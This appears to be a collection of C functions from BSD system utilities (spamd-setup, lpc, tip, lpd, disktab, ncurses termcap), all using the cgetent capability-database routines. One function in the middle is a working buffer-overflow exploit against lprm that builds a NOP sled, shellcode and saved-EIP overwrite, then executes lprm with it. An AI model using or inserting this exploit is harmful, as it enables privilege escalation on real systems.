int main(int argc, char *argv[]) { size_t dbs, dbc, blc, bls, black, white; char **db_array, *buf, *name; struct blacklist *blists; struct servent *ent; int i, ch; #ifndef __FreeBSD__ while ((ch = getopt(argc, argv, "bdn")) != -1) { #else while ((ch = getopt(argc, argv, "bdnm:t:")) != -1) { #endif switch (ch) { case 'n': dryrun = 1; break; case 'd': debug = 1; break; case 'b': greyonly = 0; break; #ifdef __FreeBSD__ case 't': ipfw_tabno = atoi(optarg); break; case 'm': if (strcmp(optarg, "ipfw") == 0) use_pf=0; break; #endif default: usage(); break; } } argc -= optind; argv += optind; if (argc != 0) usage(); if ((ent = getservbyname("spamd-cfg", "tcp")) == NULL) errx(1, "cannot find service \"spamd-cfg\" in /etc/services"); ent->s_port = ntohs(ent->s_port); dbs = argc + 2; dbc = 0; db_array = calloc(dbs, sizeof(char *)); if (db_array == NULL) errx(1, "malloc failed"); db_array[dbc]= PATH_SPAMD_CONF; dbc++; for (i = 1; i < argc; i++) db_array[dbc++] = argv[i]; blists = NULL; blc = bls = 0; if (cgetent(&buf, db_array, "all") != 0) err(1, "Can't find \"all\" in spamd config"); name = strsep(&buf, ": \t"); /* skip "all" at start */ blc = 0; while ((name = strsep(&buf, ": \t")) != NULL) { if (*name) { /* extract config in order specified in "all" tag */ if (blc == bls) { struct blacklist *tmp; bls += 32; tmp = realloc(blists, bls * sizeof(struct blacklist)); if (tmp == NULL) errx(1, "malloc failed"); blists = tmp; } if (blc == 0) black = white = 0; else { white = blc - 1; black = blc; } memset(&blists[black], 0, sizeof(struct blacklist)); black = getlist(db_array, name, &blists[white], &blists[black]); if (black && blc > 0) { /* collapse and free previous blacklist */ send_blacklist(&blists[blc - 1], ent->s_port); } blc += black; } } /* collapse and free last blacklist */ if (blc > 0) send_blacklist(&blists[blc - 1], ent->s_port); return (0); }
void * plot_open(const char *name, const char *def, FILE *fp) { struct plotctx *pl; char *p, *dba[2]; long n; int err, ontty; ontty = isatty(fileno(fp)); if (name == NULL && ontty && (p = getenv("PLOTCAP")) != NULL) { if ((p = strdup(p)) == NULL) return (NULL); } else { dba[0] = _PATH_PLOTCAP; dba[1] = NULL; if (name == NULL) { if (ontty) name = getenv("TERM"); if (name == NULL) name = def; if (name == NULL) return (NULL); } if (cgetent(&p, dba, name) != 0) { if (cgetent(&p, dba, def) != 0) return (NULL); else name = def; } } if ((pl = malloc(sizeof(*pl))) == NULL) { free(p); return (NULL); } memset(pl, 0, sizeof(*pl)); pl->buf = p; if (cgetnum(pl->buf, "w", &n) == 0) pl->dx = pl->w = n; if (cgetnum(pl->buf, "h", &n) < 0) pl->dx = pl->w = 0; else pl->dx = pl->h = n; if (cgetcap(pl->buf, "le", ':')) pl->flags |= LENDIAN; /* scale at 1:1 */ pl->ox = pl->oy = 0; pl->xnum = pl->xdenom = pl->ynum = pl->ydenom = 1; pl->fp = fp? fp : stdout; if (cgetstr(pl->buf, "in", &p) > 0) if (_plot_out(pl, p)) { err = errno; free(pl->buf); free(pl); errno = err; return (NULL); } return (pl); }
/* * Put the specified jobs at the top of printer queue. */ void topq(int argc, char **argv) { int i; struct stat stbuf; int status, changed; if (argc < 3) { printf("usage: topq printer [jobnum ...] [user ...]\n"); return; } --argc; printer = *++argv; status = cgetent(&bp, printcapdb, printer); if (status == -2) { printf("cannot open printer description file\n"); return; } else if (status == -1) { printf("%s: unknown printer\n", printer); return; } else if (status == -3) fatal("potential reference loop detected in printcap file"); if (cgetstr(bp, "sd", &SD) == -1) SD = _PATH_DEFSPOOL; if (cgetstr(bp, "lo", &LO) == -1) LO = DEFLOCK; printf("%s:\n", printer); PRIV_START; if (chdir(SD) < 0) { printf("\tcannot chdir to %s\n", SD); goto out; } PRIV_END; nitems = getq(&queue); if (nitems == 0) return; changed = 0; mtime = queue[0]->q_time; for (i = argc; --i; ) { if (doarg(argv[i]) == 0) { printf("\tjob %s is not in the queue\n", argv[i]); continue; } else changed++; } for (i = 0; i < nitems; i++) free(queue[i]); free(queue); if (!changed) { printf("\tqueue order unchanged\n"); return; } /* * Turn on the public execute bit of the lock file to * get lpd to rebuild the queue after the current job. */ PRIV_START; if (changed && stat(LO, &stbuf) >= 0) { stbuf.st_mode |= S_IXOTH; (void)chmod(LO, stbuf.st_mode & 0777); } out: PRIV_END; }
static void getremcap(char *host) { char **p, ***q, *bp, *rempath; int stat; rempath = getenv("REMOTE"); if (rempath != NULL) { if (*rempath != '/') /* we have an entry */ cgetset(rempath); else { /* we have a path */ db_array[1] = rempath; db_array[2] = _PATH_REMOTE; } } if ((stat = cgetent(&bp, db_array, host)) < 0) { if ((DV != NULL) || (host[0] == '/' && access(DV = host, R_OK | W_OK) == 0)) { CU = DV; HO = host; HW = 1; DU = 0; if (!BR) BR = DEFBR; FS = DEFFS; return; } switch (stat) { case -1: fprintf(stderr, "%s: unknown host %s\n", __progname, host); break; case -2: fprintf(stderr, "%s: can't open host description file\n", __progname); break; case -3: fprintf(stderr, "%s: possible reference loop in host description file\n", __progname); break; } exit(3); } for (p = capstrings, q = caps; *p != NULL; p++, q++) if (**q == NULL) cgetstr(bp, *p, *q); if (!BR && (cgetnum(bp, "br", &BR) == -1)) BR = DEFBR; if (!LD && (cgetnum(bp, "ld", &LD) == -1)) LD = TTYDISC; if (cgetnum(bp, "fs", &FS) == -1) FS = DEFFS; if (DU < 0) DU = 0; else DU = cgetflag("du"); if (DV == NOSTR) { fprintf(stderr, "%s: missing device spec\n", host); exit(3); } if (DU && CU == NOSTR) CU = DV; if (DU && PN == NOSTR) { fprintf(stderr, "%s: missing phone number\n", host); exit(3); } if (DU && AT == NOSTR) { fprintf(stderr, "%s: missing acu type\n", host); exit(3); } HD = cgetflag("hd"); /* * This effectively eliminates the "hw" attribute * from the description file */ if (!HW) HW = (CU == NOSTR) || (DU && equal(DV, CU)); HO = host; /* * see if uppercase mode should be turned on initially */ if (cgetflag("ra")) setboolean(value(RAISE), 1); if (cgetflag("ec")) setboolean(value(ECHOCHECK), 1); if (cgetflag("be")) setboolean(value(BEAUTIFY), 1); if (cgetflag("nb")) setboolean(value(BEAUTIFY), 0); if (cgetflag("sc")) setboolean(value(SCRIPT), 1); if (cgetflag("tb")) setboolean(value(TABEXPAND), 1); if (cgetflag("vb")) setboolean(value(VERBOSE), 1); if (cgetflag("nv")) setboolean(value(VERBOSE), 0); if (cgetflag("ta")) setboolean(value(TAND), 1); if (cgetflag("nt")) setboolean(value(TAND), 0); if (cgetflag("rw")) setboolean(value(RAWFTP), 1); if (cgetflag("hd")) setboolean(value(HALFDUPLEX), 1); if (cgetflag("dc")) setboolean(value(DC), 1); if (cgetflag("hf")) setboolean(value(HARDWAREFLOW), 1); if (RE == NOSTR) RE = (char *)"tip.record"; if (EX == NOSTR) EX = (char *)"\t\n\b\f"; if (ES != NOSTR) vstring("es", ES); if (FO != NOSTR) vstring("fo", FO); if (PR != NOSTR) vstring("pr", PR); if (RC != NOSTR) vstring("rc", RC); if (cgetnum(bp, "dl", &DL) == -1) DL = 0; if (cgetnum(bp, "cl", &CL) == -1) CL = 0; if (cgetnum(bp, "et", &ET) == -1) ET = 10; }
struct disklabel * getdiskbyname(const char *name) { static struct disklabel disk; struct disklabel *dp = &disk; struct partition *pp; char *buf; char *db_array[2] = { _PATH_DISKTAB, 0 }; char *cp, *cq; char p, max, psize[3], pbsize[3], pfsize[3], poffset[3], ptype[3]; u_int32_t *dx; if (cgetent(&buf, db_array, (char *) name) < 0) return NULL; bzero((char *)&disk, sizeof(disk)); /* * typename */ cq = dp->d_typename; cp = buf; while (cq < dp->d_typename + sizeof(dp->d_typename) - 1 && (*cq = *cp) && *cq != '|' && *cq != ':') cq++, cp++; *cq = '\0'; if (cgetcap(buf, "sf", ':') != NULL) dp->d_flags |= D_BADSECT; #define getnumdflt(field, dname, dflt) \ { long f; (field) = (cgetnum(buf, dname, &f) == -1) ? (dflt) : f; } #define getnum(field, dname) \ { long f; cgetnum(buf, dname, &f); field = f; } getnumdflt(dp->d_secsize, "se", DEV_BSIZE); getnum(dp->d_ntracks, "nt"); getnum(dp->d_nsectors, "ns"); getnum(dp->d_ncylinders, "nc"); if (cgetstr(buf, "dt", &cq) > 0) dp->d_type = (u_short)gettype(cq, dktypenames); else getnumdflt(dp->d_type, "dt", 0); getnumdflt(dp->d_secpercyl, "sc", dp->d_nsectors * dp->d_ntracks); /* XXX */ dp->d_secperunith = 0; getnumdflt(dp->d_secperunit, "su", dp->d_secpercyl * dp->d_ncylinders); getnumdflt(dp->d_bbsize, "bs", BBSIZE); getnumdflt(dp->d_sbsize, "sb", SBSIZE); strlcpy(psize, "px", sizeof psize); strlcpy(pbsize, "bx", sizeof pbsize); strlcpy(pfsize, "fx", sizeof pfsize); strlcpy(poffset, "ox", sizeof poffset); strlcpy(ptype, "tx", sizeof ptype); max = 'a' - 1; pp = &dp->d_partitions[0]; dp->d_version = 1; for (p = 'a'; p < 'a' + MAXPARTITIONS; p++, pp++) { long f; psize[1] = pbsize[1] = pfsize[1] = poffset[1] = ptype[1] = p; /* XXX */ if (cgetnum(buf, psize, &f) == -1) DL_SETPSIZE(pp, 0); else { u_int32_t fsize, frag = 8; DL_SETPSIZE(pp, f); /* XXX */ pp->p_offseth = 0; getnum(pp->p_offset, poffset); getnumdflt(fsize, pfsize, 0); if (fsize) { long bsize; if (cgetnum(buf, pbsize, &bsize) == 0) frag = bsize / fsize; pp->p_fragblock = DISKLABELV1_FFS_FRAGBLOCK(fsize, frag); } getnumdflt(pp->p_fstype, ptype, 0); if (pp->p_fstype == 0 && cgetstr(buf, ptype, &cq) > 0) pp->p_fstype = (u_char)gettype(cq, fstypenames); max = p; } } dp->d_npartitions = max + 1 - 'a'; (void)strlcpy(psize, "dx", sizeof psize); dx = dp->d_drivedata; for (p = '0'; p < '0' + NDDATA; p++, dx++) { psize[1] = p; getnumdflt(*dx, psize, 0); } dp->d_magic = DISKMAGIC; dp->d_magic2 = DISKMAGIC; free(buf); return (dp); }
int main(int argc, char** argv) { char buf[4096]; struct passwd* pw; char* cgstr; char* cgbuf; char* printer; char* printcaps[] = { "/etc/printcap", 0 }; int sc_size; /* size of shell code */ int P; /* strlen(RP) + strlen(person) */ unsigned egg; /* value to overwrite saved EIP with */ if (argc != 3) { fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]); exit(0); } if ( (pw = getpwuid(getuid())) == NULL) errx(1, "no password entry for your user-id"); printer = argv[1]; egg = (unsigned) strtoul(argv[2], NULL, 0); if (cgetent(&cgstr, printcaps, printer) < 0) errx(1, "can't find printer: %s", printer); if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0') errx(1, "printer is not remote: %s", printer); if (cgetstr(cgstr, "rp", &cgbuf) < 0) cgbuf = "lp"; sc_size = (char*) END_SC - (char*) BEGIN_SC; /* We can append 1022 bytes to whatever is in the buffer. We need to get up to 1032 bytes to reach the saved EIP, so there must be at least 10 bytes placed in the buffer by the snprintf on line 337 of rmjob.c and the subsequent *cp++ = '\0'; 3 = ' ' + ' ' + '\5' */ if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7) errx(1, "your username is too short"); fprintf(stderr, "P = %d\n", P); fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size); fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3); /* fill with NOP */ memset(buf, 0x90, sizeof(buf)); /* put letter in first byte, this f****r took me eight hours to debug. */ buf[0] = 'A'; /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */ memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size); /* finally, set egg and null terminate */ *((int*)&buf[1028 - P - 3]) = egg; buf[1022] = '\0'; memset(buf, 0, sizeof(buf)); execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0); fprintf(stderr, "doh.\n"); return 0; }
void rmjob(void) { int i, nitems; int assassinated = 0; struct dirent **files; char *cp; if ((i = cgetent(&bp, printcapdb, printer)) == -2) fatal("can't open printer description file"); else if (i == -1) fatal("unknown printer"); else if (i == -3) fatal("potential reference loop detected in printcap file"); if (cgetstr(bp, DEFLP, &LP) < 0) LP = _PATH_DEFDEVLP; if (cgetstr(bp, "rp", &RP) < 0) RP = DEFLP; if (cgetstr(bp, "sd", &SD) < 0) SD = _PATH_DEFSPOOL; if (cgetstr(bp,"lo", &LO) < 0) LO = DEFLOCK; cgetstr(bp, "rm", &RM); if ((cp = checkremote()) != NULL) printf("Warning: %s\n", cp); /* * If the format was `lprm -' and the user isn't the super-user, * then fake things to look like he said `lprm user'. */ if (users < 0) { if (getuid() == 0) all = 1; /* all files in local queue */ else { user[0] = person; users = 1; } } if (!strcmp(person, "-all")) { if (from == host) fatal("The login name \"-all\" is reserved"); all = 1; /* all those from 'from' */ person = root; } PRIV_START; if (chdir(SD) < 0) fatal("cannot chdir to spool directory"); if ((nitems = scandir(".", &files, iscf, NULL)) < 0) fatal("cannot access spool directory"); PRIV_END; if (nitems) { /* * Check for an active printer daemon. If one is running * and it is reading our file, kill it, then remove stuff. * Lastly, restart the daemon if it is not (or no longer) * running. */ if (lockchk(LO) && chk(current)) { PRIV_START; assassinated = kill(cur_daemon, SIGINT) == 0; PRIV_END; if (!assassinated) fatal("cannot kill printer daemon"); } /* * process the files */ for (i = 0; i < nitems; i++) process(files[i]->d_name); } rmremote(); /* * Restart the printer daemon if it was killed */ if (assassinated && !startdaemon(printer)) fatal("cannot restart printer daemon"); exit(0); }
/* * Get an entry for terminal name in buffer _nc_termcap from the termcap * file. */ int _nc_read_termcap_entry(const char *const name, TERMTYPE *const tp) { ENTRY *ep; char *p; char *cp; char *dummy; char **fname; char *home; int i; char pathbuf[PBUFSIZ]; /* holds raw path of filenames */ char *pathvec[PVECSIZ]; /* to point to names in pathbuf */ char **pvec; /* holds usable tail of path vector */ char *termpath; _nc_termcap[0] = '\0'; /* in case */ dummy = NULL; fname = pathvec; pvec = pathvec; p = pathbuf; cp = getenv("TERMCAP"); /* * TERMCAP can have one of two things in it. It can be the * name of a file to use instead of /etc/termcap. In this * case it better start with a "/". Or it can be an entry to * use so we don't have to read the file. In this case it * has to already have the newlines crunched out. If TERMCAP * does not hold a file name then a path of names is searched * instead. The path is found in the TERMPATH variable, or * becomes "$HOME/.termcap /etc/termcap" if no TERMPATH exists. */ if (!cp || *cp != '/') { /* no TERMCAP or it holds an entry */ if ( (termpath = getenv("TERMPATH")) ) strncpy(pathbuf, termpath, PBUFSIZ); else { if ( (home = getenv("HOME")) ) {/* set up default */ strncpy(pathbuf, home, PBUFSIZ - 1); /* $HOME first */ pathbuf[PBUFSIZ - 2] = '\0'; /* -2 because we add a slash */ p += strlen(pathbuf); /* path, looking in */ *p++ = '/'; } /* if no $HOME look in current directory */ strncpy(p, _PATH_DEF, PBUFSIZ - (p - pathbuf)); } } else /* user-defined name in TERMCAP */ strncpy(pathbuf, cp, PBUFSIZ); /* still can be tokenized */ /* For safety */ if (issetugid()) strcpy(pathbuf, _PATH_DEF_SEC); pathbuf[PBUFSIZ - 1] = '\0'; *fname++ = pathbuf; /* tokenize path into vector of names */ while (*++p) if (*p == ' ' || *p == ':') { *p = '\0'; while (*++p) if (*p != ' ' && *p != ':') break; if (*p == '\0') break; *fname++ = p; if (fname >= pathvec + PVECSIZ) { fname--; break; } } *fname = (char *) 0; /* mark end of vector */ if (cp && *cp && *cp != '/') if (cgetset(cp) < 0) return(-2); i = cgetent(&dummy, pathvec, (char *)name); if (i == 0) { char *pd, *ps, *tok, *s, *tcs; size_t len; pd = _nc_termcap; ps = dummy; if ((tok = strchr(ps, ':')) == NULL) { len = strlen(ps); if (len >= TBUFSIZ) i = -1; else strcpy(pd, ps); goto done; } len = tok - ps + 1; if (pd + len + 1 - _nc_termcap >= TBUFSIZ) { i = -1; goto done; } memcpy(pd, ps, len); ps += len; pd += len; *pd = '\0'; tcs = pd - 1; for (;;) { while ((tok = strsep(&ps, ":")) != NULL && *(tok - 2) != '\\' && (*tok == '\0' || *tok == '\\' || !isgraph(UChar(*tok)))) ; if (tok == NULL) break; for (s = tcs; s != NULL && s[1] != '\0'; s = strchr(s, ':')) { s++; if (s[0] == tok[0] && s[1] == tok[1]) goto skip_it; } len = strlen(tok); if (pd + len + 1 - _nc_termcap >= TBUFSIZ) { i = -1; break; } memcpy(pd, tok, len); pd += len; *pd++ = ':'; *pd = '\0'; skip_it: ; } } done: if (dummy) free(dummy); /* * From here on is ncurses-specific glue code */ if (i < 0) return(TGETENT_ERR); _nc_set_source("TERMCAP"); _nc_read_entry_source((FILE *)NULL, _nc_termcap, FALSE, TRUE, NULLHOOK); if (_nc_head == (ENTRY *)NULL) return(TGETENT_ERR); /* resolve all use references */ _nc_resolve_uses2(TRUE, FALSE); for_entry_list(ep) if (_nc_name_match(ep->tterm.term_names, name, "|:")) { /* * Make a local copy of the terminal capabilities, delinked * from the list. */ memcpy(tp, &ep->tterm, sizeof(TERMTYPE)); _nc_delink_entry(_nc_head, &(ep->tterm)); free(ep); _nc_free_entries(_nc_head); _nc_head = _nc_tail = NULL; /* do not reuse! */ return TGETENT_YES; /* OK */ } _nc_free_entries(_nc_head); _nc_head = _nc_tail = NULL; /* do not reuse! */ return(TGETENT_NO); /* not found */ }
int getlist(char ** db_array, char *name, struct blacklist *blist, struct blacklist *blistnew) { char *buf, *method, *file, *message; int fd, black = 0, serror; size_t blc, bls; struct bl *bl = NULL; gzFile gzf; if (cgetent(&buf, db_array, name) != 0) err(1, "Can't find \"%s\" in spamd config", name); buf = fix_quoted_colons(buf); if (cgetcap(buf, "black", ':') != NULL) { /* use new list */ black = 1; blc = blistnew->blc; bls = blistnew->bls; bl = blistnew->bl; } else if (cgetcap(buf, "white", ':') != NULL) { /* apply to most recent blacklist */ black = 0; blc = blist->blc; bls = blist->bls; bl = blist->bl; } else errx(1, "Must have \"black\" or \"white\" in %s", name); switch (cgetstr(buf, "msg", &message)) { case -1: if (black) errx(1, "No msg for blacklist \"%s\"", name); break; case -2: errx(1, "malloc failed"); } switch (cgetstr(buf, "method", &method)) { case -1: method = NULL; break; case -2: errx(1, "malloc failed"); } switch (cgetstr(buf, "file", &file)) { case -1: errx(1, "No file given for %slist %s", black ? "black" : "white", name); case -2: errx(1, "malloc failed"); default: fd = open_file(method, file); if (fd == -1) err(1, "Can't open %s by %s method", file, method ? method : "file"); free(method); free(file); gzf = gzdopen(fd, "r"); if (gzf == NULL) errx(1, "gzdopen"); } free(buf); bl = add_blacklist(bl, &blc, &bls, gzf, !black); serror = errno; gzclose(gzf); if (bl == NULL) { errno = serror; warn("Could not add %slist %s", black ? "black" : "white", name); return (0); } if (black) { blistnew->message = message; blistnew->name = name; blistnew->black = black; blistnew->bl = bl; blistnew->blc = blc; blistnew->bls = bls; } else { /* whitelist applied to last active blacklist */ blist->bl = bl; blist->blc = blc; blist->bls = bls; } if (debug) fprintf(stderr, "%slist %s %zu entries\n", black ? "black" : "white", name, blc / 2); return (black); }